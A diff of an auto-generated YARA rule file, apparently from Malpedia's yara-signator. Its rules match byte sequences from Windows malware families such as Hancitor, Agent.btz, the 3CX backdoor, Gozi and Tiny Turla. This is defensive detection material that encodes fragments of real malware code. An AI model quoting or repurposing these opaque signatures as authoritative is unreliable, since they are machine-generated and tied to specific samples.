+		id = "47a6bdd7-280d-5812-824e-6730815c0329"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_098"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_098_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zxxz"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zxxz_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "5873ddf57107eab8629c385b87e703377b84a728d15aa8f227623b130059db6e"
+		logic_hash = "1197698292204c5d5bb6df77b7c0541f4794374692dc94417033752fb1a653dc"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148993,34 +155962,34 @@ rule MALPEDIA_Win_Unidentified_098_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c644247f00 e9???????? 41bdffffffff 4885db 7412 488b4310 483b4318 }
-		$sequence_1 = { e9???????? 8d48bf 83f905 0f8716ffffff 83e837 c1e00c 89c6 }
-		$sequence_2 = { 7eac 85c0 78a8 488b4318 31d2 4885c0 75ab }
-		$sequence_3 = { f6c202 410f45c0 4883c102 01d2 668941fe 4939c9 75ce }
-		$sequence_4 = { b801000000 4d85c0 7486 488b542450 4c89e1 e8???????? 85c0 }
-		$sequence_5 = { ff15???????? 410fb61424 e9???????? 4c89f8 4829d8 4801c7 4d85ed }
-		$sequence_6 = { 85d2 0f88d5000000 4c8d5904 4189d2 4c8d4910 83fa0f 7e33 }
-		$sequence_7 = { 488d542440 4939d4 7411 4c89e1 8844242f e8???????? 0fb644242f }
-		$sequence_8 = { 897c2450 41bd01000000 44894c2434 4889442458 e9???????? 488b03 4489442434 }
-		$sequence_9 = { e9???????? 498b4610 493b4618 0f838d010000 0fb700 6683f8ff b900000000 }
+		$sequence_0 = { 40 84c9 75ef bf???????? e8???????? 84c0 }
+		$sequence_1 = { 8b4c244c 64890d00000000 59 5f 5e 5d 8b4c2434 }
+		$sequence_2 = { be04010000 51 89742424 6689842424010000 e8???????? }
+		$sequence_3 = { 84c9 75f9 2bc2 8bd0 33c0 33c9 }
+		$sequence_4 = { c3 81ecc4010000 a1???????? 33c4 898424bc010000 }
+		$sequence_5 = { 7424 8b1d???????? 8d54242c 57 }
+		$sequence_6 = { ff15???????? 85c0 7539 3805???????? }
+		$sequence_7 = { 7403 8811 41 40 803800 75f0 }
+		$sequence_8 = { 681c020000 68???????? ffd6 83c40c 68???????? }
+		$sequence_9 = { ff15???????? 8b3d???????? 8bf0 56 6a01 }
 
 	condition:
-		7 of them and filesize <3345408
+		7 of them and filesize <4142080
 }
-rule MALPEDIA_Win_Hancitor_Auto : FILE
+rule MALPEDIA_Win_Agent_Btz_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e94e88e2-da44-5855-8e98-8220d615aa1e"
+		id = "bbd1b361-56e8-5c44-8191-97b61949c3a6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hancitor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hancitor_auto.yar#L1-L234"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_btz"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.agent_btz_auto.yar#L1-L506"
 		license_url = "N/A"
-		logic_hash = "3fe1f27a710b2ccfc55ec6a2163075344a7f89cf27a8c741d778d1b9ea2b6391"
+		logic_hash = "2cf1b97d42e6d02bf37e0a76317aec03ba7908a0448935a35dc2a10793f4265a"
 		score = 75
-		quality = 73
+		quality = 50
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -149032,46 +156001,82 @@ rule MALPEDIA_Win_Hancitor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a00 6824040000 6a00 6a00 6a00 }
-		$sequence_1 = { 6800010000 6a40 68???????? e8???????? }
-		$sequence_2 = { 8bec a1???????? 85c0 740c ff7508 6a00 50 }
-		$sequence_3 = { 8bec 8b4d08 6a00 6a01 51 }
-		$sequence_4 = { 68???????? ff7508 c605????????00 ff15???????? }
-		$sequence_5 = { a3???????? 85c0 7502 5d c3 ff7508 6a00 }
-		$sequence_6 = { 8b4df4 51 8b55f8 52 8b4510 }
-		$sequence_7 = { 8b4d08 0fbe11 83fa7d 750e }
-		$sequence_8 = { 8bd8 83fbff 7509 6a00 57 }
-		$sequence_9 = { 6a00 6a01 8b5508 52 ff55f4 33c0 8be5 }
-		$sequence_10 = { 8b4df4 8b5104 83ea08 d1ea 8955d4 }
-		$sequence_11 = { c60600 ff15???????? 8b3d???????? 85c0 740a }
-		$sequence_12 = { 8b4dec 8b55f4 035128 8b4518 8910 eb02 }
-		$sequence_13 = { 8945f8 8b4df8 894df4 6a00 6a01 }
-		$sequence_14 = { 7411 8d85f4fdffff 50 8b4d08 51 }
-		$sequence_15 = { 8b4d08 53 56 57 8b413c }
-		$sequence_16 = { 8945cc 8365e400 c745bc0a000000 eb07 8b45bc }
-		$sequence_17 = { c3 4b fd 008d4556f400 08640f08 ed fec3 }
-		$sequence_18 = { a1???????? 8945b4 a1???????? 83c044 a3???????? 8b45b4 83e803 }
-		$sequence_19 = { b9382baa99 c7458ce4f25701 ff15???????? 894da0 a1???????? }
-		$sequence_20 = { 6a00 6a00 ff15???????? c745a064000000 }
-		$sequence_21 = { c645f300 c645fc65 c645fd00 c745f8dc030000 8365b800 }
-		$sequence_22 = { 8945dc e9???????? b9382baa99 c745f464000000 }
-		$sequence_23 = { 0f8482000000 c645f301 0fb645f3 85c0 7476 a1???????? 83c044 }
+		$sequence_0 = { c74608ffffffff f644240801 7409 56 e8???????? 83c404 8bc6 }
+		$sequence_1 = { ffd6 8d54240c 52 ffd7 }
+		$sequence_2 = { ffd3 85c0 75d8 5f 5e 5b }
+		$sequence_3 = { ff15???????? b800000f00 8b4df4 64890d00000000 }
+		$sequence_4 = { c706???????? c7460c00000000 895e08 895e04 }
+		$sequence_5 = { b805000f00 8b4df4 64890d00000000 5f 5e }
+		$sequence_6 = { 895e08 895e04 c7461000000000 895e14 }
+		$sequence_7 = { 56 6a00 68???????? 8935???????? }
+		$sequence_8 = { 8b4608 c706???????? 85c0 7413 }
+		$sequence_9 = { 83f8ff 740e 50 ff15???????? c74608ffffffff f644240801 }
+		$sequence_10 = { 8d542408 52 c744240c30000000 c744241003000000 }
+		$sequence_11 = { 6801010000 ff15???????? 85c0 7415 }
+		$sequence_12 = { 51 6a00 6819000200 6a00 68???????? }
+		$sequence_13 = { 6a0a 68???????? 6a01 6a00 }
+		$sequence_14 = { 50 68???????? 6a01 68???????? e8???????? 83c410 }
+		$sequence_15 = { 6a01 6a04 6a01 68???????? }
+		$sequence_16 = { 68???????? 6a01 e8???????? 50 e8???????? 83c41c }
+		$sequence_17 = { 89461c 3dea000000 740b 3de5030000 }
+		$sequence_18 = { 7511 e8???????? 83c020 50 e8???????? }
+		$sequence_19 = { 6a01 68???????? e8???????? 83c414 5f 5e }
+		$sequence_20 = { 50 e8???????? 83c408 6800010000 e8???????? }
+		$sequence_21 = { 0fb605???????? 66890d???????? 0fb60d???????? 660fafca 6603c8 }
+		$sequence_22 = { 59 6a69 66894de8 59 }
+		$sequence_23 = { 5e 8bc3 5b c9 c3 83c8ff eb11 }
+		$sequence_24 = { c684248d00000065 c684248e00000050 c684248f00000072 c68424900000006f c684249100000063 c684249200000065 }
+		$sequence_25 = { c68424900000006f c684249100000063 c684249200000065 c684249300000073 c684249400000073 c684249500000057 c684249600000000 }
+		$sequence_26 = { c684248800000043 c684248900000072 c684248a00000065 c684248b00000061 c684248c00000074 c684248d00000065 c684248e00000050 }
+		$sequence_27 = { 57 53 897dfc 897e1c }
+		$sequence_28 = { 59 6a65 668945f0 66894dec 59 6a25 58 }
+		$sequence_29 = { 59 6a70 66894dea 59 }
+		$sequence_30 = { c684241601000074 c684241701000045 c684241801000072 c684241901000072 c684241a0100006f c684241b01000072 }
+		$sequence_31 = { ebd2 c78424a000000068000000 c78424dc00000001000000 33c0 66898424e0000000 }
+		$sequence_32 = { c684249600000000 c684241001000047 c684241101000065 c684241201000074 c68424130100004c c684241401000061 }
+		$sequence_33 = { 59 6a70 66894de4 8bc8 }
+		$sequence_34 = { 51 6a05 ff75fc 897df0 }
+		$sequence_35 = { c684241201000074 c68424130100004c c684241401000061 c684241501000073 c684241601000074 c684241701000045 c684241801000072 }
+		$sequence_36 = { 6a00 6a27 6a02 6a00 6a01 }
+		$sequence_37 = { 8d8505feffff 50 e8???????? 83c40c }
+		$sequence_38 = { c645d316 c645d43a c645d53b c645d63b }
+		$sequence_39 = { c645cb30 c645cc27 c645cd3b c645ce30 }
+		$sequence_40 = { 488b4338 33d2 488bce 448d4220 }
+		$sequence_41 = { 488b4608 488b0e 48894628 488b4638 4c8d4c2450 448bc3 488bd7 }
+		$sequence_42 = { 4533c9 488bd6 ff90c8010000 8bf8 85c0 }
+		$sequence_43 = { 488b4638 488b0e 4c8d442450 4533c9 }
+		$sequence_44 = { 488bf0 c70005000000 85db 7415 4c8b4f38 }
+		$sequence_45 = { 488b0f 48894108 488b0f 488b4108 48894128 488b0f }
+		$sequence_46 = { 83c904 c1e803 448bc9 440fafc8 }
+		$sequence_47 = { 488bcf c744242088130000 e8???????? 488b5738 }
+		$sequence_48 = { 488b0f 488901 488b07 488338ff }
+		$sequence_49 = { 488bce 8bd8 ff92e8010000 488b6c2458 8bc3 488b5c2450 }
+		$sequence_50 = { 488b0f 894130 eb06 488b07 896830 }
+		$sequence_51 = { 488b07 896830 33c0 488b5c2458 }
+		$sequence_52 = { 8d8594faffff 50 68???????? ff15???????? }
+		$sequence_53 = { 013d???????? 8b04b5100b4200 0500080000 3bc8 }
+		$sequence_54 = { 0304b5100b4200 59 5e eb05 }
+		$sequence_55 = { 001cbe 40 0023 d18a0688078a 46 }
+		$sequence_56 = { 030c85100b4200 eb02 8bcb f6412480 }
+		$sequence_57 = { 0304b5100b4200 59 eb02 8bc3 }
+		$sequence_58 = { 0304b5100b4200 59 eb05 b8???????? }
+		$sequence_59 = { 0304b5100b4200 beffff0000 59 59 }
 
 	condition:
-		7 of them and filesize <106496
+		7 of them and filesize <5577728
 }
-rule MALPEDIA_Win_Rad_Auto : FILE
+rule MALPEDIA_Win_3Cx_Backdoor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7146ba59-d944-5b98-95a4-2cbd8d5bc1ff"
+		id = "28fbb43b-1b49-58bb-9ada-865931dff5e6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rad"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rad_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.3cx_backdoor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.3cx_backdoor_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "ca5f1a440d85092616999ffada86b8990e8f68350339b252577329abb6a444ee"
+		logic_hash = "c22c772229b5508424567ef1d7e35b9960a69d5aa0f1d8dfccaad31a703d6c0c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -149085,34 +156090,34 @@ rule MALPEDIA_Win_Rad_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c644242000 e8???????? 8d542420 52 8d8c2498000000 c684240c06000018 ff15???????? }
-		$sequence_1 = { 8b8680000000 3bc3 741b 8bbe84000000 e8???????? 8b8680000000 }
-		$sequence_2 = { a1???????? 33c4 89442434 8b4508 8b00 85c0 751a }
-		$sequence_3 = { 8b84241c010000 50 ffd6 83c404 8b8c2400060000 64890d00000000 }
-		$sequence_4 = { 8d8d70ffffff ff25???????? 8b8578ffffff 83e002 0f8413000000 83a578fffffffd }
-		$sequence_5 = { ffd3 8d8c2494000000 c684240806000005 ff15???????? 8b4c2418 51 8d8c2498000000 }
-		$sequence_6 = { ff15???????? 8d8c2494000000 c684240806000020 ff15???????? b8???????? 8d4c2420 }
-		$sequence_7 = { e8???????? 8bc7 50 c645fc02 e8???????? 8bc8 }
-		$sequence_8 = { 720a 8b4c2434 51 ffd6 83c404 8d9424a8000000 52 }
-		$sequence_9 = { 8d7e04 c645fc29 8d4f04 c706???????? 89bd10fdffff ff15???????? }
+		$sequence_0 = { 8bc8 c1e907 33c1 81c287d61200 8bc8 c1e116 33c1 }
+		$sequence_1 = { 84d2 7430 3811 742c e8???????? c70016000000 }
+		$sequence_2 = { 8bfb 48895c2430 4c89742428 4983e7f0 4d8d243f 498d442410 }
+		$sequence_3 = { 4a0fbe841940250300 428a8c1950250300 482bd0 8b42fc d3e8 49895108 41894118 }
+		$sequence_4 = { 4c8bce 4c8bc5 488bd7 498bcf e8???????? 498bc6 488b5c2460 }
+		$sequence_5 = { 498bd7 4489642448 48897c2440 44894c2438 4c8d4d97 4889442430 4489642428 }
+		$sequence_6 = { 7428 85db 7524 488d0d7ef90200 e8???????? 85c0 7510 }
+		$sequence_7 = { 4889742458 488b7108 33d2 488bce 48c1eb05 492bc9 }
+		$sequence_8 = { 4983c708 4533d2 32d2 4c897c2420 80fb30 7512 b201 }
+		$sequence_9 = { 0fb608 880a 488d5210 488b4808 48894af8 448820 }
 
 	condition:
-		7 of them and filesize <207872
+		7 of them and filesize <585728
 }
-rule MALPEDIA_Win_Enfal_Auto : FILE
+rule MALPEDIA_Win_Gozi_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7c648ee2-e4dd-541c-9b47-28a132a1416c"
+		id = "4c65f4c6-680c-5313-afa1-f0c350a0bb9e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.enfal"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.enfal_auto.yar#L1-L112"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gozi"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gozi_auto.yar#L1-L297"
 		license_url = "N/A"
-		logic_hash = "4106f1f3c4e35436925009af22c1e6b23f6200a61794638682b09644acc42fa2"
+		logic_hash = "d1afd0d2426cb263c17dc36f11639d4b538234ba95ec55283f83783334fcf5d3"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -149124,32 +156129,54 @@ rule MALPEDIA_Win_Enfal_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ffd6 68???????? 57 8945d8 ffd6 68???????? 53 }
-		$sequence_1 = { 51 53 ff505c 85c0 }
-		$sequence_2 = { 50 6a00 6a01 ff7608 }
-		$sequence_3 = { 57 6800000040 51 ff5010 8bd8 }
-		$sequence_4 = { 81ec4c0a0000 80a5b4f9ffff00 56 baff000000 }
-		$sequence_5 = { 8b4b24 8b431c 8b5320 8365fc00 }
-		$sequence_6 = { 50 e8???????? 83c410 8b461c }
-		$sequence_7 = { 8bec 81eccc040000 53 56 8b35???????? 57 }
-		$sequence_8 = { ffd0 5e c3 ff15???????? 5e c3 }
-		$sequence_9 = { 66a5 a4 be???????? 8dbd60ffffff }
+		$sequence_0 = { 8b4dfc f3a4 b0e9 aa }
+		$sequence_1 = { ee 7f7b 36110b 33745571 de7e75 cd18 4a }
+		$sequence_2 = { 3327 72e7 3ebb4a68d947 d93e 257296bc4a 1b6b61 9f }
+		$sequence_3 = { e8???????? 0bc0 7522 6a01 6a00 }
+		$sequence_4 = { 2bfb 8b5518 8b12 6a00 }
+		$sequence_5 = { 4e b64e 0fc0d6 69d5920d9cef }
+		$sequence_6 = { 0fadce 80eede c0ca12 2af4 8af4 }
+		$sequence_7 = { 894598 50 e8???????? 8b4650 8b7c0704 }
+		$sequence_8 = { 83c101 894df4 8b55ec 83ea02 3955f4 0f8d45040000 }
+		$sequence_9 = { 94 6e 8ee1 54 }
+		$sequence_10 = { 7516 c78554ffffff06000000 c78558ffffff00000000 eb14 }
+		$sequence_11 = { bf???????? 8bdf c70747494638 66c747043761 83c706 8b450c }
+		$sequence_12 = { c9 50 0c73 0e 96 3b5375 }
+		$sequence_13 = { ffd7 03f0 56 53 33f6 56 }
+		$sequence_14 = { ad b710 2dc7ce5bbb d6 b6c6 }
+		$sequence_15 = { ff75e4 ffd0 c3 6a68 68???????? e8???????? }
+		$sequence_16 = { 0f8229feffff 5f 5e 5b c9 c21000 }
+		$sequence_17 = { c9 c20800 6a00 8d87950c0000 }
+		$sequence_18 = { 84c1 0fb3ea f6c1ba 0fce }
+		$sequence_19 = { 96 3b5375 60 d3e0 90 48 }
+		$sequence_20 = { 69d5ca659407 f6de c645ff61 a1???????? 8b0d???????? 6a00 }
+		$sequence_21 = { 83c101 894d90 0fb755e4 52 8b4590 }
+		$sequence_22 = { b87e8da638 e022 3a56b9 036890 2b02 9a102a6715fb53 }
+		$sequence_23 = { dc6f1b 95 bf633629a8 02738f }
+		$sequence_24 = { 83bd54ffffff03 7c0a c78554ffffff00000000 eb95 33c0 8b55f4 }
+		$sequence_25 = { 0fbe4415ec 8b8d4cffffff 038d58ffffff 0fbe11 33d0 8b854cffffff }
+		$sequence_26 = { 41 4e 75ea 5e }
+		$sequence_27 = { 0f8447010000 83f8ff 0f843e010000 682000cc00 56 }
+		$sequence_28 = { 837df800 75c7 ff75fc e8???????? c9 }
+		$sequence_29 = { 0fb3ce 86d6 2af4 b252 b0ca c745fc00000000 }
+		$sequence_30 = { e8???????? 59 8bf0 89b5e0f2ffff }
+		$sequence_31 = { 85c0 7404 8365f800 85f6 7407 8b06 }
 
 	condition:
-		7 of them and filesize <65536
+		7 of them and filesize <568320
 }
-rule MALPEDIA_Win_Matanbuchus_Auto : FILE
+rule MALPEDIA_Win_Fireball_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2788ba99-d4a7-56bc-b166-5140402f53be"
+		id = "41b2d4de-af91-5e95-ba91-5bc661ef7417"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.matanbuchus"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.matanbuchus_auto.yar#L1-L115"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fireball"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fireball_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "78ecf15a99d40895d657b9372a7af5a206c5b9d4887dbdf8360368c6bcd36a27"
+		logic_hash = "0f627ea55086f489b8cd11c65d68f2e0680aa8b1619660718f20b28106c4357c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -149163,32 +156190,32 @@ rule MALPEDIA_Win_Matanbuchus_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 038c0534fdffff 51 e8???????? ebb4 8b55fc 52 e8???????? }
-		$sequence_1 = { 6a0c 6a0c 68???????? e8???????? }
-		$sequence_2 = { 8b4dfc 038c0534fdffff 51 e8???????? }
-		$sequence_3 = { 8b4df8 8b513c 035508 8955f4 }
-		$sequence_4 = { 6bc200 8b4d08 0fbe1401 33550c }
-		$sequence_5 = { 68f8000000 8d95b8feffff 52 8b45fc 0345ec 50 e8???????? }
-		$sequence_6 = { 8b45f4 c1e818 3345f4 8945f4 694df495e9d15b 894df4 }
-		$sequence_7 = { 51 8b55f0 52 6b45f828 8b4dfc 038c0534fdffff }
-		$sequence_8 = { eb44 b901000000 d1e1 8b55ec }
-		$sequence_9 = { 8b55ec 813a50450000 7407 33c0 e9???????? }
+		$sequence_0 = { 52 8bce e8???????? b101 e8???????? }
+		$sequence_1 = { 30a830ac30b0 30b830cc30e8 30f0 30f4 3010 3118 311c31 }
+		$sequence_2 = { 8b0f 8bc1 c1f805 83e11f 8b0485000a2500 c1e106 80640804fe }
+		$sequence_3 = { 68???????? 8d8c24a4000000 c78424b800000007000000 c78424b400000000000000 }
+		$sequence_4 = { c78424a400000000000000 6689842494000000 837c247808 720c ff742464 e8???????? }
+		$sequence_5 = { 53 ff15???????? 85c0 0f85c2feffff }
+		$sequence_6 = { c78518f5ffff07000000 c78514f5ffff00000000 66898504f5ffff 83bdf4f5ffff08 720e }
+		$sequence_7 = { c68558fbffff00 7504 33c9 eb12 8d8d64f9ffff }
+		$sequence_8 = { 8d442417 50 8d542434 8d8c2498000000 c744244c07000000 c744244800000000 e8???????? }
+		$sequence_9 = { 8bf1 c785e8fbffff00000000 e8???????? 83c40c 8d85ecfbffff 6808020000 }
 
 	condition:
-		7 of them and filesize <2056192
+		7 of them and filesize <335872
 }
-rule MALPEDIA_Win_Deputydog_Auto : FILE
+rule MALPEDIA_Win_Attor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3ae1b77f-6003-5f42-85fd-2473ea8bd4ab"
+		id = "de68d27a-a7e8-5baa-94a2-9db640461043"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deputydog"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.deputydog_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.attor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.attor_auto.yar#L1-L165"
 		license_url = "N/A"
-		logic_hash = "027f4c297ed3d9095922a3567db93a8700528916bc6b48fe318198129cac1716"
+		logic_hash = "9ffbefbd2b4397dd03e1eba42ffa85ea59dac9e4723a113680ffe4af7c4fe1e3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -149202,32 +156229,38 @@ rule MALPEDIA_Win_Deputydog_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 51 56 8bf1 8b461c 8d4e18 ff30 8d45fc }
-		$sequence_1 = { 85ff 7407 8b5510 8a12 8817 }
-		$sequence_2 = { 53 8d4de0 ff15???????? 807df300 7509 }
-		$sequence_3 = { 57 56 e8???????? 83c40c 8d4604 c60664 50 }
-		$sequence_4 = { 8d4580 50 e8???????? 8b4004 59 3bc3 59 }
-		$sequence_5 = { 6a00 56 ff7604 50 ff15???????? 8365f000 6800200000 }
-		$sequence_6 = { 8b7e08 8d1419 397d08 7417 8bc2 2bc1 2bc3 }
-		$sequence_7 = { 8b4d0c 57 ff30 6a00 ff15???????? 8b7d08 8b4f04 }
-		$sequence_8 = { 53 51 ff75e4 50 ff7618 ff15???????? 8b3d???????? }
-		$sequence_9 = { 57 50 ff15???????? 59 84c0 59 740b }
+		$sequence_0 = { 83f801 7411 3d81000000 740a }
+		$sequence_1 = { 33c0 488b6c2450 4883c420 415c 5f 5e }
+		$sequence_2 = { 488b8c24b0000000 4c8b642468 4885c9 7402 8919 408ac5 }
+		$sequence_3 = { 488b8c2490000000 4885c9 0f8441020000 41b802000000 8bd5 ff15???????? 85c0 }
+		$sequence_4 = { 48395c2430 0f8447010000 b101 e8???????? }
+		$sequence_5 = { 48c744243000000000 7414 33c9 e8???????? 488b8c2490000000 }
+		$sequence_6 = { 7435 488b442440 488b8c2490000000 4533c0 418d5002 4d8bcf }
+		$sequence_7 = { 4533c0 4d8bcc 418d5002 44896c2420 ff15???????? }
+		$sequence_8 = { 8b4c2418 50 55 8b2d???????? 6a00 }
+		$sequence_9 = { 740a 83f808 7405 83f811 }
+		$sequence_10 = { 56 ff15???????? 8d4c2418 8d54241c 51 52 }
+		$sequence_11 = { 83c408 eb06 8b35???????? 897c241c 8b7c2420 85ff }
+		$sequence_12 = { 83c40c 89442420 85c0 0f842b010000 8b4c2430 8d7108 }
+		$sequence_13 = { 85c0 0f840c010000 8b54241c 57 52 }
+		$sequence_14 = { 897504 c644241301 740a 8b4c2418 }
+		$sequence_15 = { 8b44243c 3bc7 7434 8b54241c }
 
 	condition:
-		7 of them and filesize <90112
+		7 of them and filesize <2023424
 }
-rule MALPEDIA_Win_Rctrl_Auto : FILE
+rule MALPEDIA_Win_Tiny_Turla_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "60ae096f-d5f7-57d0-b6f9-cb53f8d1b760"
+		id = "03ecfc31-50be-55ad-b8ea-3661b97e212f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rctrl"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rctrl_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiny_turla"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tiny_turla_auto.yar#L1-L115"
 		license_url = "N/A"
-		logic_hash = "0c64a52ce76fbe6b25b4079783722f9c8bfa120e4543946e41c97eea8cb03d4d"
+		logic_hash = "78e001a1d7d03185ba347a5f9852159024940a515be46a1732bb8c9313d9ab24"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -149241,32 +156274,32 @@ rule MALPEDIA_Win_Rctrl_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 85c0 0f8440030000 8b10 8bc8 ff520c 83c010 }
-		$sequence_1 = { 8bf0 56 6a00 6a00 ff15???????? 33c9 894508 }
-		$sequence_2 = { 6a06 e8???????? cc b8???????? c3 55 8bec }
-		$sequence_3 = { 8b473c 8985d4feffff e8???????? 85c0 0f85ef000000 814f2400000400 8b85d8feffff }
-		$sequence_4 = { 33c0 40 8be5 5d c20800 6a14 b8???????? }
-		$sequence_5 = { 898368040000 03c8 83bd7cffffff00 7433 8b855cffffff 8db328040000 03c1 }
-		$sequence_6 = { 75cc 8d4dc8 e8???????? e9???????? e8???????? ffb6f8000000 e8???????? }
-		$sequence_7 = { ff750c 8bd6 e8???????? 8b4518 8d0c3e 8d1400 }
-		$sequence_8 = { 85c0 0f94c0 84c0 7423 6a00 6a00 57 }
-		$sequence_9 = { ff7008 ff75f0 e8???????? 8bf0 eb02 }
+		$sequence_0 = { 4533ed 8b7d7f 488b742450 8d4f02 }
+		$sequence_1 = { 0f84f8000000 33d2 488d4da0 448d4268 }
+		$sequence_2 = { 488b16 8bd8 894567 41b906000200 488d4577 4533c0 }
+		$sequence_3 = { 48895c2420 ff15???????? 85c0 750e 488bce }
+		$sequence_4 = { ff15???????? 85c0 7516 4533ed }
+		$sequence_5 = { 440fb62a 44886d6f 44894d7f 4585c0 7540 }
+		$sequence_6 = { ff15???????? b005 e9???????? 8b0f 85c9 }
+		$sequence_7 = { 418d511b ff15???????? 488bcb 85c0 0f849b000000 8b7d50 }
+		$sequence_8 = { 48c74308ffffffff 488b4b18 4883f9ff 740e ff15???????? }
+		$sequence_9 = { 4883ec18 c7042400000000 33c0 83f801 7441 8b0424 488b4c2420 }
 
 	condition:
-		7 of them and filesize <4315136
+		7 of them and filesize <51200
 }
-rule MALPEDIA_Win_Atmii_Auto : FILE
+rule MALPEDIA_Win_Grabbot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a3746494-2207-5da0-bb5a-0a2c92906b78"
+		id = "02308264-bf9f-5ce5-8d58-a146011d85f3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmii"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.atmii_auto.yar#L1-L170"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grabbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.grabbot_auto.yar#L1-L161"
 		license_url = "N/A"
-		logic_hash = "32f9cc90bb902f5f085ec60f456bf3e42304f21478253b8a2c4851a4d1f531ad"
+		logic_hash = "fb36fa0cb6c01a8c284e94b423e764f2d45ce7cf14719bff3ffb20003d9572f1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -149280,38 +156313,38 @@ rule MALPEDIA_Win_Atmii_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a03 68000000c0 8b0d???????? 51 ff15???????? 8945fc }
